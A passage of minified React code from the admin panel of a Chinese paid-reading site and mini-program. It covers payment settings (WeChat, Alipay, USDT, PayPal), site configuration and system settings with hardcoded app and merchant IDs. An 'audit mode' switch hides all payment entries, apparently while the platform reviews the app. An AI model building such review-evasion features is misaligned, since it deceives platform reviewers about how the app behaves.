mr-2"}),"微信"]}),s.jsxs(Zt,{value:"alipay",className:"data-[state=active]:bg-[#1677FF]/20 data-[state=active]:text-[#1677FF] text-gray-400",children:[s.jsx(Fv,{className:"w-4 h-4 mr-2"}),"支付宝"]}),s.jsxs(Zt,{value:"usdt",className:"data-[state=active]:bg-[#26A17B]/20 data-[state=active]:text-[#26A17B] text-gray-400",children:[s.jsx(zv,{className:"w-4 h-4 mr-2"}),"USDT"]}),s.jsxs(Zt,{value:"paypal",className:"data-[state=active]:bg-[#003087]/20 data-[state=active]:text-[#169BD7] text-gray-400",children:[s.jsx(Rg,{className:"w-4 h-4 mr-2"}),"PayPal"]})]}),s.jsx(en,{value:"wechat",className:"space-y-4",children:s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsxs(Ye,{className:"flex flex-row items-center justify-between pb-2",children:[s.jsxs("div",{className:"space-y-1",children:[s.jsxs(Qe,{className:"text-[#07C160] flex items-center gap-2",children:[s.jsx(yi,{className:"w-5 h-5"}),"微信支付配置"]}),s.jsx(It,{className:"text-gray-400",children:"配置微信支付参数和跳转链接"})]}),s.jsx(kt,{checked:!!y.enabled,onCheckedChange:k=>h("enabled",k)})]}),s.jsxs(Ee,{className:"space-y-4",children:[s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"网站AppID"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white font-mono text-sm",value:String(y.websiteAppId??""),onChange:k=>h("websiteAppId",k.target.value)})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"商户号"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white font-mono text-sm",value:String(y.merchantId??""),onChange:k=>h("merchantId",k.target.value)})]})]}),s.jsxs("div",{className:"border-t border-gray-700/50 pt-4 space-y-4",children:[s.jsxs("h4",{className:"text-white font-medium flex items-center gap-2",children:[s.jsx(Us,{className:"w-4 h-4 text-[#38bdac]"}),"跳转链接配置(核心功能)"]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"微信收款码/支付链接"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white placeholder:text-gray-500",placeholder:"https://收款码图片URL 或 weixin://支付链接",value:String(y.qrCode??""),onChange:k=>h("qrCode",k.target.value)}),s.jsx("p",{className:"text-xs text-gray-500",children:"用户点击微信支付后显示的二维码图片URL"})]}),s.jsxs("div",{className:"space-y-2 bg-[#07C160]/5 p-4 rounded-xl border border-[#07C160]/20",children:[s.jsx(X,{className:"text-[#07C160] font-medium",children:"微信群跳转链接(支付成功后跳转)"}),s.jsx(se,{className:"bg-[#0a1628] border-[#07C160]/30 text-white placeholder:text-gray-500",placeholder:"https://weixin.qq.com/g/... 或微信群二维码图片URL",value:String(y.groupQrCode??""),onChange:k=>h("groupQrCode",k.target.value)}),s.jsx("p",{className:"text-xs text-[#07C160]/70",children:"用户支付成功后将自动跳转到此链接,进入指定微信群"})]})]})]})]})}),s.jsx(en,{value:"alipay",className:"space-y-4",children:s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsxs(Ye,{className:"flex flex-row items-center justify-between pb-2",children:[s.jsxs("div",{className:"space-y-1",children:[s.jsxs(Qe,{className:"text-[#1677FF] flex items-center gap-2",children:[s.jsx(Fv,{className:"w-5 h-5"}),"支付宝配置"]}),s.jsx(It,{className:"text-gray-400",children:"已加载真实支付宝参数"})]}),s.jsx(kt,{checked:!!N.enabled,onCheckedChange:k=>f("enabled",k)})]}),s.jsxs(Ee,{className:"space-y-4",children:[s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"合作者身份 (PID)"}),s.jsxs("div",{className:"flex gap-2",children:[s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white font-mono text-sm",value:String(N.partnerId??""),onChange:k=>f("partnerId",k.target.value)}),s.jsx(te,{size:"icon",variant:"outline",className:"border-gray-700 bg-transparent",onClick:()=>u(String(N.partnerId??""),"pid"),children:a==="pid"?s.jsx(ff,{className:"w-4 h-4 text-green-500"}):s.jsx(Bx,{className:"w-4 h-4 text-gray-400"})})]})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"安全校验码 (Key)"}),s.jsx(se,{type:"password",className:"bg-[#0a1628] border-gray-700 text-white font-mono text-sm",value:String(N.securityKey??""),onChange:k=>f("securityKey",k.target.value)})]})]}),s.jsxs("div",{className:"border-t border-gray-700/50 pt-4 space-y-4",children:[s.jsxs("h4",{className:"text-white font-medium flex items-center gap-2",children:[s.jsx(Us,{className:"w-4 h-4 text-[#38bdac]"}),"跳转链接配置"]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"支付宝收款码/跳转链接"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white placeholder:text-gray-500",placeholder:"https://qr.alipay.com/... 或收款码图片URL",value:String(N.qrCode??""),onChange:k=>f("qrCode",k.target.value)}),s.jsx("p",{className:"text-xs text-gray-500",children:"用户点击支付宝支付后显示的二维码"})]})]})]})]})}),s.jsx(en,{value:"usdt",className:"space-y-4",children:s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsxs(Ye,{className:"flex flex-row items-center justify-between pb-2",children:[s.jsxs("div",{className:"space-y-1",children:[s.jsxs(Qe,{className:"text-[#26A17B] flex items-center gap-2",children:[s.jsx(zv,{className:"w-5 h-5"}),"USDT配置"]}),s.jsx(It,{className:"text-gray-400",children:"配置加密货币收款地址"})]}),s.jsx(kt,{checked:!!w.enabled,onCheckedChange:k=>m("enabled",k)})]}),s.jsxs(Ee,{className:"space-y-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"网络类型"}),s.jsxs("select",{className:"w-full bg-[#0a1628] border border-gray-700 text-white rounded-md p-2",value:String(w.network??"TRC20"),onChange:k=>m("network",k.target.value),children:[s.jsx("option",{value:"TRC20",children:"TRC20 (波场)"}),s.jsx("option",{value:"ERC20",children:"ERC20 (以太坊)"}),s.jsx("option",{value:"BEP20",children:"BEP20 (币安链)"})]})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"收款地址"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white font-mono text-sm",placeholder:"T... (TRC20地址)",value:String(w.address??""),onChange:k=>m("address",k.target.value)})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"汇率 (1 USD = ? CNY)"}),s.jsx(se,{type:"number",className:"bg-[#0a1628] border-gray-700 text-white",value:Number(w.exchangeRate)??7.2,onChange:k=>m("exchangeRate",Number.parseFloat(k.target.value)||7.2)})]})]})]})}),s.jsx(en,{value:"paypal",className:"space-y-4",children:s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsxs(Ye,{className:"flex flex-row items-center justify-between pb-2",children:[s.jsxs("div",{className:"space-y-1",children:[s.jsxs(Qe,{className:"text-[#169BD7] flex items-center gap-2",children:[s.jsx(Rg,{className:"w-5 h-5"}),"PayPal配置"]}),s.jsx(It,{className:"text-gray-400",children:"配置PayPal收款账户"})]}),s.jsx(kt,{checked:!!v.enabled,onCheckedChange:k=>g("enabled",k)})]}),s.jsxs(Ee,{className:"space-y-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"PayPal邮箱"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"your@email.com",value:String(v.email??""),onChange:k=>g("email",k.target.value)})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"汇率 (1 USD = ? CNY)"}),s.jsx(se,{type:"number",className:"bg-[#0a1628] border-gray-700 text-white",value:Number(v.exchangeRate)??7.2,onChange:k=>g("exchangeRate",Number(k.target.value)||7.2)})]})]})]})})]})]})}const vV={siteName:"卡若日记",siteTitle:"一场SOUL的创业实验场",siteDescription:"来自Soul派对房的真实商业故事",logo:"/logo.png",favicon:"/favicon.ico",primaryColor:"#00CED1"},NV={home:{enabled:!0,label:"首页"},chapters:{enabled:!0,label:"目录"},match:{enabled:!0,label:"匹配"},my:{enabled:!0,label:"我的"}},wV={homeTitle:"一场SOUL的创业实验场",homeSubtitle:"来自Soul派对房的真实商业故事",chaptersTitle:"我要看",matchTitle:"语音匹配",myTitle:"我的",aboutTitle:"关于作者"};function jV(){const[t,e]=b.useState({siteConfig:{...vV},menuConfig:{...NV},pageConfig:{...wV}}),[n,r]=b.useState(!1),[a,i]=b.useState(!1);b.useEffect(()=>{De("/api/config").then(f=>{f!=null&&f.siteConfig&&e(m=>({...m,siteConfig:{...m.siteConfig,...f.siteConfig}})),f!=null&&f.menuConfig&&e(m=>({...m,menuConfig:{...m.menuConfig,...f.menuConfig}})),f!=null&&f.pageConfig&&e(m=>({...m,pageConfig:{...m.pageConfig,...f.pageConfig}}))}).catch(console.error)},[]);const o=async()=>{i(!0);try{await vt("/api/db/config",{key:"site_config",value:t.siteConfig,description:"网站基础配置"}),await vt("/api/db/config",{key:"menu_config",value:t.menuConfig,description:"底部菜单配置"}),await vt("/api/db/config",{key:"page_config",value:t.pageConfig,description:"页面标题配置"}),r(!0),setTimeout(()=>r(!1),2e3),ie.success("配置已保存")}catch(f){console.error(f),ie.error("保存失败: "+(f instanceof Error?f.message:String(f)))}finally{i(!1)}},c=t.siteConfig,u=t.menuConfig,h=t.pageConfig;return s.jsxs("div",{className:"p-8 w-full",children:[s.jsxs("div",{className:"flex justify-between items-center mb-8",children:[s.jsxs("div",{children:[s.jsx("h2",{className:"text-2xl font-bold text-white",children:"网站配置"}),s.jsx("p",{className:"text-gray-400 mt-1",children:"配置网站名称、图标、菜单和页面标题"})]}),s.jsxs(te,{onClick:o,disabled:a,className:`${n?"bg-green-500":"bg-[#00CED1]"} hover:bg-[#20B2AA] text-white transition-colors`,children:[s.jsx(bn,{className:"w-4 h-4 mr-2"}),a?"保存中...":n?"已保存":"保存设置"]})]}),s.jsxs("div",{className:"space-y-6",children:[s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsxs(Ye,{children:[s.jsxs(Qe,{className:"text-white flex items-center gap-2",children:[s.jsx(Rg,{className:"w-5 h-5 text-[#00CED1]"}),"网站基础信息"]}),s.jsx(It,{className:"text-gray-400",children:"配置网站名称、标题和描述"})]}),s.jsxs(Ee,{className:"space-y-4",children:[s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{htmlFor:"site-name",className:"text-gray-300",children:"网站名称"}),s.jsx(se,{id:"site-name",className:"bg-[#0a1628] border-gray-700 text-white",value:c.siteName??"",onChange:f=>e(m=>({...m,siteConfig:{...m.siteConfig,siteName:f.target.value}}))})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{htmlFor:"site-title",className:"text-gray-300",children:"网站标题"}),s.jsx(se,{id:"site-title",className:"bg-[#0a1628] border-gray-700 text-white",value:c.siteTitle??"",onChange:f=>e(m=>({...m,siteConfig:{...m.siteConfig,siteTitle:f.target.value}}))})]})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{htmlFor:"site-desc",className:"text-gray-300",children:"网站描述"}),s.jsx(se,{id:"site-desc",className:"bg-[#0a1628] border-gray-700 text-white",value:c.siteDescription??"",onChange:f=>e(m=>({...m,siteConfig:{...m.siteConfig,siteDescription:f.target.value}}))})]}),s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{htmlFor:"logo",className:"text-gray-300",children:"Logo地址"}),s.jsx(se,{id:"logo",className:"bg-[#0a1628] border-gray-700 text-white",value:c.logo??"",onChange:f=>e(m=>({...m,siteConfig:{...m.siteConfig,logo:f.target.value}}))})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{htmlFor:"favicon",className:"text-gray-300",children:"Favicon地址"}),s.jsx(se,{id:"favicon",className:"bg-[#0a1628] border-gray-700 text-white",value:c.favicon??"",onChange:f=>e(m=>({...m,siteConfig:{...m.siteConfig,favicon:f.target.value}}))})]})]})]})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsxs(Ye,{children:[s.jsxs(Qe,{className:"text-white flex items-center gap-2",children:[s.jsx(cA,{className:"w-5 h-5 text-[#00CED1]"}),"主题颜色"]}),s.jsx(It,{className:"text-gray-400",children:"配置网站主题色"})]}),s.jsx(Ee,{children:s.jsxs("div",{className:"flex items-center gap-4",children:[s.jsxs("div",{className:"space-y-2 flex-1",children:[s.jsx(X,{htmlFor:"primary-color",className:"text-gray-300",children:"主色调"}),s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx(se,{id:"primary-color",type:"color",className:"w-16 h-10 bg-[#0a1628] border-gray-700 cursor-pointer p-1",value:c.primaryColor??"#00CED1",onChange:f=>e(m=>({...m,siteConfig:{...m.siteConfig,primaryColor:f.target.value}}))}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white flex-1",value:c.primaryColor??"#00CED1",onChange:f=>e(m=>({...m,siteConfig:{...m.siteConfig,primaryColor:f.target.value}}))})]})]}),s.jsx("div",{className:"w-24 h-24 rounded-xl flex items-center justify-center text-white font-bold",style:{backgroundColor:c.primaryColor??"#00CED1"},children:"预览"})]})})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsxs(Ye,{children:[s.jsxs(Qe,{className:"text-white flex items-center gap-2",children:[s.jsx(nA,{className:"w-5 h-5 text-[#00CED1]"}),"底部菜单配置"]}),s.jsx(It,{className:"text-gray-400",children:"控制底部导航栏菜单的显示和名称"})]}),s.jsx(Ee,{className:"space-y-4",children:Object.entries(u).map(([f,m])=>s.jsxs("div",{className:"flex items-center justify-between p-4 bg-[#0a1628] rounded-lg",children:[s.jsxs("div",{className:"flex items-center gap-4 flex-1",children:[s.jsx(kt,{checked:(m==null?void 0:m.enabled)??!0,onCheckedChange:g=>e(y=>({...y,menuConfig:{...y.menuConfig,[f]:{...m,enabled:g}}}))}),s.jsx("span",{className:"text-gray-300 w-16 capitalize",children:f}),s.jsx(se,{className:"bg-[#0f2137] border-gray-700 text-white max-w-[200px]",value:(m==null?void 0:m.label)??"",onChange:g=>e(y=>({...y,menuConfig:{...y.menuConfig,[f]:{...m,label:g.target.value}}}))})]}),s.jsx("span",{className:`text-sm ${m!=null&&m.enabled?"text-green-400":"text-gray-500"}`,children:m!=null&&m.enabled?"显示":"隐藏"})]},f))})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsxs(Ye,{children:[s.jsxs(Qe,{className:"text-white flex items-center gap-2",children:[s.jsx(Yw,{className:"w-5 h-5 text-[#00CED1]"}),"页面标题配置"]}),s.jsx(It,{className:"text-gray-400",children:"配置各个页面的标题和副标题"})]}),s.jsxs(Ee,{className:"space-y-4",children:[s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"首页标题"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",value:h.homeTitle??"",onChange:f=>e(m=>({...m,pageConfig:{...m.pageConfig,homeTitle:f.target.value}}))})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"首页副标题"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",value:h.homeSubtitle??"",onChange:f=>e(m=>({...m,pageConfig:{...m.pageConfig,homeSubtitle:f.target.value}}))})]})]}),s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"目录页标题"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",value:h.chaptersTitle??"",onChange:f=>e(m=>({...m,pageConfig:{...m.pageConfig,chaptersTitle:f.target.value}}))})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"匹配页标题"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",value:h.matchTitle??"",onChange:f=>e(m=>({...m,pageConfig:{...m.pageConfig,matchTitle:f.target.value}}))})]})]}),s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"我的页标题"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",value:h.myTitle??"",onChange:f=>e(m=>({...m,pageConfig:{...m.pageConfig,myTitle:f.target.value}}))})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"关于作者标题"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",value:h.aboutTitle??"",onChange:f=>e(m=>({...m,pageConfig:{...m.pageConfig,aboutTitle:f.target.value}}))})]})]})]})]})]})]})}function kV(){const[t,e]=b.useState(""),[n,r]=b.useState(""),[a,i]=b.useState(""),[o,c]=b.useState({}),u=async()=>{var y,N,w,v;try{const k=await De("/api/config"),C=(N=(y=k==null?void 0:k.liveQRCodes)==null?void 0:y[0])==null?void 0:N.urls;Array.isArray(C)&&e(C.join(` +}`})]})]}),s.jsx("p",{className:"text-gray-500 text-xs mt-6",children:"管理端仅使用 /api/admin/*、/api/db/*;小程序使用 /api/miniprogram/*。完整实现见 soul-api 源码。"})]})}const fV={appId:"wxb8bbb2b10dec74aa",withdrawSubscribeTmplId:"u3MbZGPRkrZIk-I7QdpwzFxnO_CeQPaCWF2FkiIablE",mchId:"1318592501",minWithdraw:10},pV={name:"卡若",startDate:"2025年10月15日",bio:"连续创业者,私域运营专家,每天早上6-9点在Soul派对房分享真实商业故事",liveTime:"06:00-09:00",platform:"Soul派对房",description:"连续创业者,私域运营专家"},mV={sectionPrice:1,baseBookPrice:9.9,distributorShare:90,authorInfo:{...pV},ckbLeadApiKey:""},gV={matchEnabled:!0,referralEnabled:!0,searchEnabled:!0,aboutEnabled:!0},xV=["system","author","admin","api-docs"];function yV(){const[t,e]=Ww(),n=t.get("tab")??"system",r=xV.includes(n)?n:"system",[a,i]=b.useState(mV),[o,c]=b.useState(gV),[u,h]=b.useState(fV),[f,m]=b.useState({}),[g,y]=b.useState(!1),[N,w]=b.useState(!0),[v,k]=b.useState(!1),[C,E]=b.useState(""),[T,I]=b.useState(""),[O,L]=b.useState(!1),[R,D]=b.useState(!1),z=(P,q,B=!1)=>{E(P),I(q),L(B),k(!0)};b.useEffect(()=>{(async()=>{try{const q=await De("/api/admin/settings");if(!q||q.success===!1)return;if(q.featureConfig&&Object.keys(q.featureConfig).length&&c(B=>({...B,...q.featureConfig})),q.mpConfig&&typeof q.mpConfig=="object"&&h(B=>({...B,...q.mpConfig})),q.ossConfig&&typeof q.ossConfig=="object"&&m(B=>({...B,...q.ossConfig})),q.siteSettings&&typeof q.siteSettings=="object"){const B=q.siteSettings;i(_=>({..._,...typeof B.sectionPrice=="number"&&{sectionPrice:B.sectionPrice},...typeof B.baseBookPrice=="number"&&{baseBookPrice:B.baseBookPrice},...typeof B.distributorShare=="number"&&{distributorShare:B.distributorShare},...B.authorInfo&&typeof B.authorInfo=="object"&&{authorInfo:{..._.authorInfo,...B.authorInfo}},...typeof B.ckbLeadApiKey=="string"&&{ckbLeadApiKey:B.ckbLeadApiKey}}))}}catch(q){console.error("Load settings error:",q)}finally{w(!1)}})()},[]);const Z=async(P,q)=>{D(!0);try{const B=await vt("/api/admin/settings",{featureConfig:P});if(!B||B.success===!1){q(),z("保存失败",(B==null?void 0:B.error)??"未知错误",!0);return}z("已保存","功能开关已更新,相关入口将随之显示或隐藏。")}catch(B){console.error("Save feature config error:",B),q(),z("保存失败",B instanceof Error?B.message:String(B),!0)}finally{D(!1)}},ne=(P,q)=>{const B=o,_={...B,[P]:q};c(_),Z(_,()=>c(B))},[fe,xe]=b.useState(!1),$=async P=>{const q=u,B={...q,auditMode:P};h(B),xe(!0);try{const _=await vt("/api/admin/settings",{mpConfig:B});if(!_||_.success===!1){h(q),z("保存失败",(_==null?void 0:_.error)??"未知错误",!0);return}z("已保存",P?"审核模式已开启,小程序将隐藏所有支付入口。":"审核模式已关闭,支付功能已恢复。")}catch(_){h(q),z("保存失败",_ instanceof Error?_.message:String(_),!0)}finally{xe(!1)}},H=async()=>{y(!0);try{const P=await vt("/api/admin/settings",{featureConfig:o,siteSettings:{sectionPrice:a.sectionPrice,baseBookPrice:a.baseBookPrice,distributorShare:a.distributorShare,authorInfo:a.authorInfo,ckbLeadApiKey:a.ckbLeadApiKey||void 0},mpConfig:{...u,appId:u.appId||"",withdrawSubscribeTmplId:u.withdrawSubscribeTmplId||"",mchId:u.mchId||"",minWithdraw:typeof u.minWithdraw=="number"?u.minWithdraw:10,auditMode:u.auditMode??!1},ossConfig:Object.keys(f).length?{endpoint:f.endpoint??"",bucket:f.bucket??"",region:f.region??"",accessKeyId:f.accessKeyId??"",accessKeySecret:f.accessKeySecret??""}:void 0});if(!P||P.success===!1){z("保存失败",(P==null?void 0:P.error)??"未知错误",!0);return}z("已保存","设置已保存成功。")}catch(P){console.error("Save settings error:",P),z("保存失败",P instanceof Error?P.message:String(P),!0)}finally{y(!1)}},oe=P=>{e(P==="system"?{}:{tab:P})};return N?s.jsx("div",{className:"p-8 text-gray-500",children:"加载中..."}):s.jsxs("div",{className:"p-8 w-full",children:[s.jsxs("div",{className:"flex justify-between items-center mb-6",children:[s.jsxs("div",{children:[s.jsx("h2",{className:"text-2xl font-bold text-white",children:"系统设置"}),s.jsx("p",{className:"text-gray-400 mt-1",children:"配置全站基础参数与开关"})]}),r==="system"&&s.jsxs(te,{onClick:H,disabled:g,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx(bn,{className:"w-4 h-4 mr-2"}),g?"保存中...":"保存设置"]})]}),s.jsxs(yd,{value:r,onValueChange:oe,className:"w-full",children:[s.jsxs(Ll,{className:"mb-6 bg-[#0f2137] border border-gray-700/50 p-1",children:[s.jsxs(Zt,{value:"system",className:"data-[state=active]:bg-[#38bdac]/20 data-[state=active]:text-[#38bdac] text-gray-400 data-[state=active]:font-medium",children:[s.jsx(lo,{className:"w-4 h-4 mr-2"}),"系统设置"]}),s.jsxs(Zt,{value:"author",className:"data-[state=active]:bg-[#38bdac]/20 data-[state=active]:text-[#38bdac] text-gray-400 data-[state=active]:font-medium",children:[s.jsx(Tm,{className:"w-4 h-4 mr-2"}),"作者详情"]}),s.jsxs(Zt,{value:"admin",className:"data-[state=active]:bg-[#38bdac]/20 data-[state=active]:text-[#38bdac] text-gray-400 data-[state=active]:font-medium",children:[s.jsx(_c,{className:"w-4 h-4 mr-2"}),"管理员"]}),s.jsxs(Zt,{value:"api-docs",className:"data-[state=active]:bg-[#38bdac]/20 data-[state=active]:text-[#38bdac] text-gray-400 data-[state=active]:font-medium",children:[s.jsx(Yw,{className:"w-4 h-4 mr-2"}),"API 文档"]})]}),s.jsx(en,{value:"system",className:"mt-0",children:s.jsxs("div",{className:"space-y-6",children:[s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsxs(Ye,{children:[s.jsxs(Qe,{className:"text-white flex items-center gap-2",children:[s.jsx(Tm,{className:"w-5 h-5 text-[#38bdac]"}),"关于作者"]}),s.jsx(It,{className:"text-gray-400",children:'配置作者信息,将在"关于作者"页面显示'})]}),s.jsxs(Ee,{className:"space-y-4",children:[s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsxs(X,{htmlFor:"author-name",className:"text-gray-300 flex items-center gap-1",children:[s.jsx(Tm,{className:"w-3 h-3"}),"主理人名称"]}),s.jsx(se,{id:"author-name",className:"bg-[#0a1628] border-gray-700 text-white",value:a.authorInfo.name??"",onChange:P=>i(q=>({...q,authorInfo:{...q.authorInfo,name:P.target.value}}))})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsxs(X,{htmlFor:"start-date",className:"text-gray-300 flex items-center gap-1",children:[s.jsx(ch,{className:"w-3 h-3"}),"开播日期"]}),s.jsx(se,{id:"start-date",className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"例如: 2025年10月15日",value:a.authorInfo.startDate??"",onChange:P=>i(q=>({...q,authorInfo:{...q.authorInfo,startDate:P.target.value}}))})]})]}),s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsxs(X,{htmlFor:"live-time",className:"text-gray-300 flex items-center gap-1",children:[s.jsx(ch,{className:"w-3 h-3"}),"直播时间"]}),s.jsx(se,{id:"live-time",className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"例如: 06:00-09:00",value:a.authorInfo.liveTime??"",onChange:P=>i(q=>({...q,authorInfo:{...q.authorInfo,liveTime:P.target.value}}))})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsxs(X,{htmlFor:"platform",className:"text-gray-300 flex items-center gap-1",children:[s.jsx(tj,{className:"w-3 h-3"}),"直播平台"]}),s.jsx(se,{id:"platform",className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"例如: Soul派对房",value:a.authorInfo.platform??"",onChange:P=>i(q=>({...q,authorInfo:{...q.authorInfo,platform:P.target.value}}))})]})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsxs(X,{htmlFor:"description",className:"text-gray-300 flex items-center gap-1",children:[s.jsx(Br,{className:"w-3 h-3"}),"简介描述"]}),s.jsx(se,{id:"description",className:"bg-[#0a1628] border-gray-700 text-white",value:a.authorInfo.description??"",onChange:P=>i(q=>({...q,authorInfo:{...q.authorInfo,description:P.target.value}}))})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{htmlFor:"bio",className:"text-gray-300",children:"详细介绍"}),s.jsx(_l,{id:"bio",className:"bg-[#0a1628] border-gray-700 text-white min-h-[100px]",placeholder:"输入作者详细介绍...",value:a.authorInfo.bio??"",onChange:P=>i(q=>({...q,authorInfo:{...q.authorInfo,bio:P.target.value}}))})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsxs(X,{htmlFor:"ckb-lead-api-key",className:"text-gray-300 flex items-center gap-1",children:[s.jsx(Ss,{className:"w-3 h-3"}),"链接卡若存客宝密钥"]}),s.jsx(se,{id:"ckb-lead-api-key",className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"如 xxxxx-xxxxx-xxxxx-xxxxx(留空则用 .env 默认)",value:a.ckbLeadApiKey??"",onChange:P=>i(q=>({...q,ckbLeadApiKey:P.target.value}))}),s.jsx("p",{className:"text-xs text-gray-500",children:"小程序首页「链接卡若」留资接口使用的存客宝 API Key,优先于 .env 配置"})]}),s.jsxs("div",{className:"mt-4 p-4 rounded-xl bg-[#0a1628] border border-[#38bdac]/30",children:[s.jsx("p",{className:"text-xs text-gray-500 mb-2",children:"预览效果"}),s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("div",{className:"w-12 h-12 rounded-full bg-gradient-to-br from-[#00CED1] to-[#20B2AA] flex items-center justify-center text-xl font-bold text-white",children:(a.authorInfo.name??"K").charAt(0)}),s.jsxs("div",{children:[s.jsx("p",{className:"text-white font-semibold",children:a.authorInfo.name}),s.jsx("p",{className:"text-gray-400 text-xs",children:a.authorInfo.description}),s.jsxs("p",{className:"text-[#38bdac] text-xs mt-1",children:["每日 ",a.authorInfo.liveTime," · ",a.authorInfo.platform]})]})]})]})]})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsxs(Ye,{children:[s.jsxs(Qe,{className:"text-white flex items-center gap-2",children:[s.jsx(dh,{className:"w-5 h-5 text-[#38bdac]"}),"价格设置"]}),s.jsx(It,{className:"text-gray-400",children:"配置书籍和章节的定价"})]}),s.jsx(Ee,{className:"space-y-4",children:s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"单节价格 (元)"}),s.jsx(se,{type:"number",className:"bg-[#0a1628] border-gray-700 text-white",value:a.sectionPrice,onChange:P=>i(q=>({...q,sectionPrice:Number.parseFloat(P.target.value)||1}))})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"整本价格 (元)"}),s.jsx(se,{type:"number",className:"bg-[#0a1628] border-gray-700 text-white",value:a.baseBookPrice,onChange:P=>i(q=>({...q,baseBookPrice:Number.parseFloat(P.target.value)||9.9}))})]})]})})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsxs(Ye,{children:[s.jsxs(Qe,{className:"text-white flex items-center gap-2",children:[s.jsx(yi,{className:"w-5 h-5 text-[#38bdac]"}),"小程序配置"]}),s.jsx(It,{className:"text-gray-400",children:"订阅消息模板、支付商户号等,小程序从 /api/miniprogram/config 读取(API 地址由 app.js baseUrl 控制)"})]}),s.jsx(Ee,{className:"space-y-4",children:s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"小程序 AppID"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 